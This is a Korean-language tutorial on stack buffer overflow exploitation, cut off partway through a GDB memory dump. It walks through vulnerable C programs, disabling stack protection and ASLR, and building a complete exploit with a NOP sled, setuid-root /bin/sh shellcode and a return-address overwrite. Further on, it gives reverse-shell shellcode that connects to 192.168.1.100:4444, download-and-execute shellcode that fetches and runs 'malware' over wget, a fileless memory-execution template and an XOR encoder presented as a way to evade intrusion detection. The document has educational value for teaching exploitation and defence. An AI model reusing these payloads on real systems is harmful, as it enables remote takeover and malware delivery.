버퍼 오버플로우 기본 원리
버퍼 오버플로우란 무엇인가?
버퍼 오버플로우는 프로그램이 고정된 크기의 버퍼에 용량을 초과하는 데이터를 기록할 때 발생하는 일반적인 소프트웨어 보안 취약점입니다. 이러한 취약점은 다음을 유발할 수 있습니다.
- 메모리 손상: 인접한 메모리 영역을 덮어씀
- 프로그램 충돌: 프로그램의 정상적인 실행 흐름을 파괴함
- 코드 실행: 공격자가 프로그램의 제어권을 획득할 수 있음
C언어의 메모리 레이아웃
C 프로그램에서 메모리는 일반적으로 다음과 같은 몇 가지 영역으로 나뉩니다.
1고주소
2+------------------+
3| 스택 영역 | ← 함수 호출, 지역 변수
4| ↓ |
5+------------------+
6| ... |
7+------------------+
8| ↑ |
9| 힙 영역 | ← 동적 메모리 할당
10+------------------+
11| BSS영역(초기화되지 않음) |
12+------------------+
13| Data영역(초기화됨) |
14+------------------+
15| 코드 영역 |
16+------------------+
17저주소스택 프레임 구조
함수가 호출될 때마다 스택에 스택 프레임이 생성됩니다.
1고주소
2+------------------+
3| 함수 매개변수 |
4+------------------+
5| 리턴 주소 | ← 주요 공격 대상
6+------------------+
7| 저장된 EBP |
8+------------------+
9| 지역 변수 | ← 버퍼 위치
10+------------------+
11저주소버퍼 오버플로우가 발생하면 데이터가 리턴 주소를 덮어써 프로그램 실행 흐름을 제어할 수 있습니다.
취약 코드 분석
대상 프로그램 코드
1#include <stdio.h>
2#include <string.h>
3
4int copy(char *str) {
5 char buffer[100]; // 100바이트의 지역 버퍼
6 // unsafe!
7 strcpy(buffer, str); // 위험한 문자열 복사 연산
8 return 0; // 리턴 값 추가
9}
10
11int main(int argc, char *argv[]) {
12 copy(argv[1]); // 명령줄 매개변수를 copy 함수에 전달
13 return 0;
14}취약점 분석
이 간단한 C 프로그램에는 전형적인 버퍼 오버플로우 취약점이 포함되어 있습니다.
- 취약점:
strcpy(buffer, str)함수는 원본 문자열의 길이를 검사하지 않음 - 버퍼 크기:
buffer배열은 100바이트만 존재함 - 공격 벡터:
argv[1]이 100바이트를 초과하면 오버플로우가 발생함 - 영향 범위: 오버플로우된 데이터는 스택의 다른 데이터, 리턴 주소를 덮어씀
메모리 레이아웃 분석
copy 함수가 호출될 때 스택의 레이아웃은 다음과 같습니다.
1고주소
2+------------------+
3| argv[1] 포인터 | ← main 함수의 매개변수
4+------------------+
5| copy 리턴 주소 | ← 공격 대상!
6+------------------+
7| 저장된 EBP |
8+------------------+
9| buffer[99] |
10| buffer[98] |
11| ... | ← 100바이트 버퍼
12| buffer[1] |
13| buffer[0] | ← ESP가 가리키는 부근
14+------------------+
15저주소입력 데이터가 100바이트를 초과하면 초과된 데이터는 저장된 EBP와 리턴 주소를 덮어씁니다.
확장된 취약점 예시
버퍼 오버플로우의 다양성을 더 잘 이해하기 위해 다른 유형의 독창적인 취약점 예시를 살펴보겠습니다. 이러한 예시는 실제 CVE 취약점과 유사한 공격 패턴을 가지고 있습니다.
예시 2: 사용자 인증 시스템 취약점 (CVE-2024-28219 패턴 유사)
1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4
5typedef struct {
6 char username[32];
7 char password[32];
8 int is_admin;
9} UserCredentials;
10
11int authenticate_user(const char* user_input, const char* pass_input) {
12 UserCredentials creds;
13 creds.is_admin = 0; // 기본적으로 관리자 권한 없음
14
15 // 위험한 문자열 복사 - is_admin 필드를 덮어쓸 수 있음
16 strcpy(creds.username, user_input);
17 strcpy(creds.password, pass_input);
18
19 printf("사용자 이름: %s\n", creds.username);
20 printf("관리자 권한: %s\n", creds.is_admin ? "있음" : "없음");
21
22 return creds.is_admin;
23}
24
25int main(int argc, char *argv[]) {
26 if (argc != 3) {
27 printf("사용법: %s <사용자 이름> <비밀번호>\n", argv[0]);
28 return 1;
29 }
30
31 if (authenticate_user(argv[1], argv[2])) {
32 printf("🔓 관리자 권한 획득!\n");
33 system("/bin/sh");
34 } else {
35 printf("❌ 인증 실패\n");
36 }
37
38 return 0;
39}취약점 분석:
- 구조체 레이아웃:
username과password필드는is_admin필드 바로 옆에 위치함 - 오버플로우 지점: 너무 긴 사용자 이름은
is_admin필드를 덮어쓸 수 있음, CVE-2024-28219의 strcpy 경계 검사 누락과 유사 - 공격 효과:
is_admin을 0에서 0이 아닌 값으로 덮어써 관리자 권한을 획득함 - 실제 대응: 이러한 취약점은 인증 시스템에서 흔하며, 공격자는 입력 길이를 정확하게 제어하여 중요한 플래그 비트를 수정함
예시 3: 네트워크 데이터 처리 취약점 (CVE-2023-6549 패턴 유사)
1#include <stdio.h>
2#include <string.h>
3#include <stdint.h>
4
5typedef struct {
6 uint32_t packet_length;
7 char data_buffer[256];
8 void (*process_callback)(char*);
9} NetworkPacket;
10
11void safe_handler(char* data) {
12 printf("안전한 처리: %s\n", data);
13}
14
15void dangerous_handler(char* data) {
16 printf("🚨 위험한 처리 함수가 호출됨!\n");
17 system(data);
18}
19
20int process_network_data(const char* raw_data, uint32_t length) {
21 NetworkPacket packet;
22 packet.process_callback = safe_handler; // 기본적으로 안전한 처리 함수
23
24 printf("길이가 %u인 데이터 패킷 처리\n", length);
25
26 // 잠재적인 정수 오버플로우 및 버퍼 오버플로우
27 if (length > 0 && length < 512) { // 안전해 보이는 검사
28 memcpy(packet.data_buffer, raw_data, length);
29 packet.process_callback(packet.data_buffer);
30 }
31
32 return 0;
33}
34
35int main(int argc, char *argv[]) {
36 if (argc != 2) {
37 printf("사용법: %s <데이터>\n", argv[0]);
38 return 1;
39 }
40
41 uint32_t data_len = strlen(argv[1]);
42 process_network_data(argv[1], data_len);
43
44 return 0;
45}취약점 분석:
- 함수 포인터 덮어쓰기: 너무 긴 데이터는
process_callback함수 포인터를 덮어쓸 수 있음 - 길이 검사 우회: 부호 없는 정수 비교는 우회될 수 있음, CVE-2022-0185의 정수 언더플로우와 유사
- 공격 벡터: 정교하게 구성된 입력은 함수 포인터를
dangerous_handler로 가리키도록 할 수 있음 - 실제 대응: 이 패턴은 네트워크 프로토콜 처리에서 흔하며, CVE-2023-6549는 유사한 방식으로 NetScaler의 버퍼 오버플로우를 발생시킴
컴파일 설정 및 환경 준비
컴파일 매개변수 해석
1# 취약 프로그램 컴파일
2gcc -m32 -std=c99 -g -fno-stack-protector -z execstack -no-pie -o vul vul.c각 컴파일 매개변수의 역할:
-m32: 32비트 실행 파일 생성, 메모리 주소 계산 간소화-std=c99: C99 표준으로 컴파일-g: 디버깅 정보 포함, GDB 디버깅 용이-fno-stack-protector: 스택 보호 메커니즘(canary) 비활성화-z execstack: 스택 영역 실행 허용, shellcode 실행 가능-no-pie: 위치 독립 실행 파일 비활성화, 프로그램 로드 주소 고정
시스템 보안 메커니즘 구성
1# 주소 공간 무작위 배치(ASLR) 비활성화
2root@softsec2:/home/toor/sample# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
30ASLR(Address Space Layout Randomization):
- 일반적으로 프로그램이 실행될 때마다 메모리 주소가 무작위로 배치됨
- ASLR을 비활성화하면 스택 주소, 힙 주소, 라이브러리 주소가 예측 가능해짐
- 따라서 공격자는 점프 주소를 정확하게 계산할 수 있음
취약점 악용 과정
1단계: 오버플로우 지점 확인
1#!/usr/bin/python3
2# exploit_step1.py - 기본 오버플로우 테스트
3import sys
4
5# 112개의 'A' 문자 + 4개의 'B' 문자 전송
6# 112바이트로 버퍼 채우고, 4바이트로 리턴 주소 덮어쓰기
7sys.stdout.buffer.write(b'A' * 112 + b'B' * 4)원리 해석:
- 112개의 'A': 100바이트 버퍼 + 12바이트 패딩(정렬 및 저장된 EBP) 채움
- 4개의 'B': 4바이트 리턴 주소 덮어쓰기
- 프로그램이 리턴을 시도할 때
0x42424242('BBBB'의 16진수 표현) 주소로 점프함
테스트 실행 결과
1# 공격 페이로드 생성
2python3 exploit_step1.py > payload1
3
4# 테스트 실행
5./vul $(cat payload1)성공하면 프로그램은 잘못된 주소 0x42424242로 점프를 시도하여 충돌합니다. 이는 프로그램 실행 흐름을 제어했음을 증명합니다.
1(gdb) list
2warning: Source file is more recent than executable.
31 #include <stdio.h>
42 #include <string.h>
53 int copy(char *str) {
64 char buffer[100];
75 // unsafe!
86 strcpy(buffer, str);
97 }
108 int main(int argc, char *argv[]) {
119 copy(argv[1]);
1210 return 0;
13(gdb) b 6
14Breakpoint 1 at 0x8049187: file vul.c, line 6.
15(gdb) run $(cat out_boom)
16Starting program: /home/toor/sample/vul $(cat out_boom)
17[Thread debugging using libthread_db enabled]
18Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
19
20Breakpoint 1, copy (str=0xffffdf42 'A' <repeats 112 times>, "BBBB") at vul.c:6
216 strcpy(buffer, str);
22(gdb) n
237 }
24(gdb) x/x $esp
250xffffdcd0: 0xf7ffd000
26(gdb) x/40x $esp
270xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x41414141
280xffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
290xffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
300xffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
310xffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
320xffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
330xffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
340xffffdd40: 0x41414141 0x41414141 0x41414141 0x42424242
350xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
360xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519
37(gdb) c
38Continuing.
39
40Program received signal SIGSEGV, Segmentation fault.
410x42424242 in ?? ()1단계 테스트 성공 분석:
- 입력 데이터 확인: GDB는 전달된 문자열이 112개의 'A' 문자와 4개의 'B' 문자임을 보여줌
- 메모리 덮어쓰기 검증:
0xffffdcd0-0xffffdd40: 많은0x41414141('AAAA')가 버퍼와 인접 메모리를 채움0xffffdd40: 마지막 4바이트가0x42424242('BBBB')로 덮어써짐, 함수의 리턴 주소 위치임
- 공격 효과 확인:
- 프로그램은 유효하지 않은 메모리 주소
0x42424242로 리턴을 시도함 - 시스템은 세그멘테이션 폴트(SIGSEGV)를 발생시키고 프로그램이 충돌함
- 프로그램 실행 흐름을 성공적으로 제어했음을 증명함
- 프로그램은 유효하지 않은 메모리 주소
이 테스트는 다음을 확인했습니다.
- 오버플로우 지점의 정확한 위치: 112바이트 채우기 + 4바이트 리턴 주소 덮어쓰기
- EIP 레지스터 값을 정확하게 제어할 수 있음
- 다음으로
0x42424242를 shellcode를 가리키는 실제 주소로 바꿀 수 있음
2단계: 공격 페이로드 구성
NOP 슬라이드 기법(NOP Sled)
NOP(No Operation)은 어셈블리 명령어(기계어: \x90)로, 실행 시 아무런 동작도 하지 않고 프로그램 카운터만 증가시킵니다. NOP 슬라이드는 공격 성공률을 높이는 기법입니다.
1#!/usr/bin/python3
2# exploit_final.py - 완전한 공격 페이로드
3import sys
4
5# NOP 슬라이드: 64바이트의 NOP 명령어
6# 역할: 점프 주소가 정확하지 않더라도 shellcode로 "미끄러져" 들어갈 수 있음
7nopsled = b'\x90' * 64
8
9# Shellcode: root 권한을 얻고 쉘을 실행
10shellcode = (
11 b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80' + # setuid(0) 시스템 호출
12 b'\x31\xd2\x52\x68\x6e\x2f\x73\x68' + # "/bin/sh" 문자열 생성
13 b'\x68\x2f\x2f\x62\x69\x89\xe3\x52' + # 문자열 생성 계속
14 b'\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # execve("/bin/sh") 시스템 호출
15)
16
17# 패딩 바이트 수 계산: 총 길이 112 - NOP 슬라이드 64 - shellcode 길이 32 = 16
18padding = b'A' * (112 - 64 - 32)
19
20# 리턴 주소: NOP 슬라이드 영역의 특정 위치로 점프
21eip = b"\xF0\xDC\xFF\xFF" # 스택의 한 주소
22
23# 최종 페이로드 조립: NOP 슬라이드 + shellcode + 패딩 + 리턴 주소
24sys.stdout.buffer.write(nopsled + shellcode + padding + eip)Shellcode 분석
이 shellcode는 root 권한을 얻고 쉘을 실행하는 기능을 합니다.
setuid(0): 현재 프로세스의 사용자 ID를 0(root)으로 설정- 문자열 생성: 스택에 "/bin/sh" 문자열 생성
execve("/bin/sh"): 쉘 프로그램 실행
기계어 해석:
\x31\xc0:xor eax, eax- EAX를 0으로 설정\x89\xc3:mov ebx, eax- EBX를 0으로 설정\xb0\x17:mov al, 0x17- setuid 시스템 호출 번호(23)\xcd\x80:int 0x80- 시스템 호출 실행
확장된 Shellcode 분석
기본적인 쉘 실행 shellcode 외에도 공격자는 다른 유형의 페이로드를 사용할 수 있습니다. 다음은 몇 가지 일반적인 shellcode 변형입니다.
역방향 연결 Shellcode
이 shellcode는 공격자가 제어하는 서버에 연결을 생성합니다.
1# 역방향 연결 shellcode (192.168.1.100:4444에 연결)
2reverse_shell = (
3 b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2' + # 레지스터 초기화
4 b'\xb0\x66\xb3\x01\x51\x53\x6a\x02' + # socket(AF_INET, SOCK_STREAM, 0)
5 b'\x89\xe1\xcd\x80\x89\xc6\xb0\x66' + # 시스템 호출 실행, 소켓 fd 저장
6 b'\xb3\x03\x68\x64\x01\xa8\xc0\x66' + # sockaddr 구조체 생성 (IP: 192.168.1.100)
7 b'\x68\x11\x5c\x66\x53\x89\xe1\x6a' + # 포트 4444, AF_INET
8 b'\x10\x51\x56\x89\xe1\xcd\x80\x31' + # connect() 시스템 호출
9 b'\xc9\xb1\x03\xb0\x3f\x49\x89\xf3' + # 반복 dup2() stdin/stdout/stderr 리다이렉션
10 b'\xcd\x80\x75\xf8\x31\xc0\x50\x68' + #
11 b'\x2f\x2f\x73\x68\x68\x2f\x62\x69' + # "/bin/sh" 문자열 생성
12 b'\x89\xe3\x50\x53\x89\xe1\xb0\x0b' + # execve("/bin/sh")
13 b'\xcd\x80' # 쉘 실행
14)역방향 연결 shellcode 분석:
- 소켓 생성:
socket()시스템 호출을 사용하여 TCP 연결 생성 - 공격자 연결: 지정된 IP 주소와 포트에 연결
- IO 리다이렉션: stdin/stdout/stderr을 소켓으로 리다이렉션
- 쉘 실행: 쉘을 실행하여 원격 제어 가능하게 함
다운로드 실행 Shellcode
이 shellcode는 원격 서버에서 파일을 다운로드하여 실행합니다.
1# 다운로드 실행 shellcode 예시
2download_exec = (
3 b'\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68' + # execve 준비
4 b'\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2d\x63' + # "/bin/sh", "-c" 매개변수
5 b'\x00\x00\x89\xe6\x52\x68\x67\x65\x74\x20\x68' + # "wget " 명령어
6 b'\x77\x67\x65\x74\x20\x89\xe7\x52\x68\x74\x70' + # wget 명령어 생성
7 b'\x3a\x2f\x2f\x68\x68\x74\x74\x70\x3a\x2f\x2f' + # "http://"
8 b'\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31' + # IP 주소 문자열
9 b'\x30\x30\x2f\x6d\x61\x6c\x77\x61\x72\x65\x20' + # "/malware "
10 b'\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x2b\x78' + # "&& chmod +x"
11 b'\x20\x6d\x61\x6c\x77\x61\x72\x65\x20\x26\x26' + # " malware &&"
12 b'\x20\x2e\x2f\x6d\x61\x6c\x77\x61\x72\x65' # " ./malware"
13)무파일 공격 Shellcode
파일을 남기지 않고 메모리에서 직접 코드를 실행합니다.
1// 메모리 실행 shellcode 프레임워크
2char memory_exec_template[] =
3 // 실행 가능한 메모리 할당
4 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" // 레지스터 초기화
5 "\xb8\x7d\x00\x00\x00" // mmap 시스템 호출 번호
6 "\x31\xdb" // addr = NULL
7 "\xb9\x00\x10\x00\x00" // length = 4096
8 "\xba\x07\x00\x00\x00" // prot = PROT_READ|WRITE|EXEC
9 "\xbe\x22\x00\x00\x00" // flags = MAP_PRIVATE|ANONYMOUS
10 "\xbf\xff\xff\xff\xff" // fd = -1
11 "\x31\xed" // offset = 0
12 "\xcd\x80" // int 0x80
13
14 // 할당된 새 메모리에 후속 코드 복사
15 "\x89\xc3" // mmap이 반환한 주소 저장
16 "\x31\xc9" // 카운터 초기화
17 "\xeb\x0c" // payload로 점프
18
19 // 여기에 실제 payload 코드 삽입...
20 ;Shellcode 인코딩 기법
침입 탐지 시스템을 우회하기 위해 shellcode는 일반적으로 인코딩됩니다.
1def xor_encode_shellcode(shellcode, key=0xAA):
2 """간단한 XOR 인코딩 예시"""
3 encoded = bytearray()
4 for byte in shellcode:
5 encoded.append(byte ^ key)
6
7 # 디코딩 stub 추가
8 decoder_stub = (
9 b'\xeb\x11' # jmp short 0x13 (인코딩된 데이터 건너뛰기)
10 b'\x5e' # pop esi (shellcode 주소 가져오기)
11 b'\x31\xc9' # xor ecx, ecx (카운터 초기화)
12 b'\xb1' + bytes([len(encoded)]) # mov cl, <length>
13 b'\x80\x36' + bytes([key]) # xor byte ptr [esi], <key>
14 b'\x46' # inc esi
15 b'\xe2\xfb' # loop 디코딩 루프
16 b'\xeb\x05' # jmp short +5 (디코딩된 shellcode로 점프)
17 b'\xe8\xea\xff\xff\xff' # call 디코더로 돌아가기
18 )
19
20 return decoder_stub + encoded
21
22# 사용 예시
23original_shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
24encoded = xor_encode_shellcode(original_shellcode)Shellcode 탐지 및 방어
shellcode의 작동 원리를 이해하면 효과적인 방어 조치를 구현하는 데 도움이 됩니다.
특징 탐지
1def detect_shellcode_patterns(data):
2 """일반적인 shellcode 패턴 탐지"""
3 suspicious_patterns = [
4 b'\x31\xc0', # xor eax, eax
5 b'\xcd\x80', # int 0x80
6 b'\x2f\x62\x69\x6e', # "/bin"
7 b'\x2f\x73\x68', # "/sh"
8 b'\x90' * 10, # NOP sled
9 ]
10
11 detections = []
12 for pattern in suspicious_patterns:
13 if pattern in data:
14 detections.append(f"의심스러운 패턴 탐지: {pattern.hex()}")
15
16 return detectionsGDB 디버깅 분석
중단점 설정 및 실행
1
2(gdb) list
3warning: Source file is more recent than executable.
41 #include <stdio.h>
52 #include <string.h>
63 int copy(char *str) {
74 char buffer[100];
85 // unsafe!
96 strcpy(buffer, str);
107 }
118 int main(int argc, char *argv[]) {
129 copy(argv[1]);
1310 return 0;
14
15# strcpy 함수에 중단점 설정
16(gdb) b 6
17Breakpoint 1 at 0x8049187: file vul.c, line 6.
18
19# 공격 페이로드로 프로그램 실행
20(gdb) run $(python3 exploit_final.py)
21Starting program: /home/toor/sample/vul $(python3 exploit_final.py)
22[Thread debugging using libthread_db enabled]
23Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
24
25Breakpoint 1, copy (str=0xffffdf42 '\220' <repeats 64 times>, "\061\300\211\303\260\027\315\200\061\322Rhn/shh//bi\211\343RS\211\341\215B\v\315\200", 'A' <repeats 16 times>, "\360\334\377\377") at vul.c:6
266 strcpy(buffer, str);
27
28# strcpy 연산 실행
29(gdb) n
307 }
31
32**디버깅 정보 해석**:
33- GDB는 전달된 문자열 내용을 보여줌, NOP 슬라이드('\220'이 64번 반복)를 볼 수 있음
34- shellcode의 기계어 코드가 그 뒤에 있음
35- 그 다음 패딩 문자 'A'(16개)
36- 마지막으로 리턴 주소 '\360\334\377\377'
37
38### 메모리 상태 분석
39
40```bash
41# 스택 포인터 위치 확인
42(gdb) x/x $esp
430xffffdcd0: 0xf7ffd000
44
45# 스택의 40개의 32비트 단어(160바이트) 확인
46(gdb) x/40x $esp
470xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x90909090
480xffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
490xffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090
500xffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
510xffffdd10: 0x90909090 0x90909090 0x90909090 0xc389c031
520xffffdd20: 0x80cd17b0 0x6852d231 0x68732f6e 0x622f2f68
530xffffdd30: 0x52e38969 0x